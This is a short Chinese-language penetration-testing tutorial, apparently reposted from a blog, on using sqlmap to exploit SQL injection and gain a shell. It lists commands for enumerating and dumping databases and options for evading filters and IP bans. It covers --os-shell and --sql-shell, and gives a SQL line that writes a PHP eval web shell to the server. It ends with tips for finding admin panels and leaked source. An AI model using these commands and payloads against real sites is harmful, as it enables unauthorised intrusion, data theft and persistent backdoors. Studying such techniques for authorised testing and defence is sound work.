sqlmap怎么拿shell

   

在渗透测试中,sqlmap是常用的注入工具,相比手注而言更为快捷但如果是挖洞的话还是手注效率更高。

sqlmap是一款开源的渗透测试工具,能够对页面中的get/post参数,cookie,http头等进行检测。

sqlmap支持五种检测类型

  1. 基于union的联合注入
  2. 布尔盲注
  3. 时间盲注
  4. 堆叠注入
  5. 组合查询语句看是否报错

  支持的数据库很多比如 Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb

在注入之前可以通过一些方法让工具使用更加准确快捷,在进入一个网站时可以使用插件或者网站指纹分析来判断该网站的语言推断出数据库这样可以使用 -dbms=xxx提高注入效率,判断注入点和注入类型

设置线程等等。

那么拿到站一般的过程是 -

  -current-db查看数据库

  -D  数据库名 --tables 查看所有表

  -T 表名 --columns 查看字段 然后托库

如果在注入时存在一些问题可以加上一些命令

  --current-db --hex 十六进制编码

   --current-db --no-cast  一种编码

   --current-db --hpp  对http参数污染

   --current-db --tamper xxx.py 使用脚本进行绕过

   --current-db  --risk = 5 --level = 3  设置risk和leval的等级

   –threads = 50增加默认线程

   --batch,自动注入

  –safe-freq和–random-agent 如果ip被ban

  

 关于post注入

  --current-db --cookie "id=1"   通过burp抓包在cookie user-agent处加* sqlmap注入

  ?id=1 -r 1.txt  也可以添加–os-shell,–sql-shell,–os-pwn

    --os-shell   需要绝对路径且secure_file_priv不为NULL 且为dba权限

  --is-dba 检测dba权限

  ?id=-1 union select 1,2,@@secure_file_priv

  select @@secure_file_priv 

  这两条命令检测secure_file_priv是否为null  如果secure_file_priv为null的话呢么大概率拿不到权限

   --os-shell创建一个对方操作系统的shell执行命令 需要知道语言 asp aspx jsp php 和绝对路径

  

   1 为使用路径 2是用户自己输入 3是用户自己的字典 4是爆破

  --sql-shell

  需要支持堆叠注入,有写入的权限,

  select "<?php @eval($_POST[1]);?>" into outfile "xxx/you.php";

  

那么如果存在注入找到密码,我们找到了网站后台用密码进入后台可以找上传点拿shell

网站后台一般存在当前网站根目录下面或者旁站、二级域名、其他服务器

admin.php,manage.php 根目录下/admin,/manage,还有织梦系统的默认后台地址/dede

可以通过谷歌语法寻找 存在且能查看robots.txt通过查看该文件 网站上的图片资源链接等

该网站如果是cms或者cms修改搭建的可以看cms的一些特征

敏感文件 .svn .git 的信息泄露 和源码泄露

原文地址:https://www.cnblogs.com/yiyegugu/p/15125344.html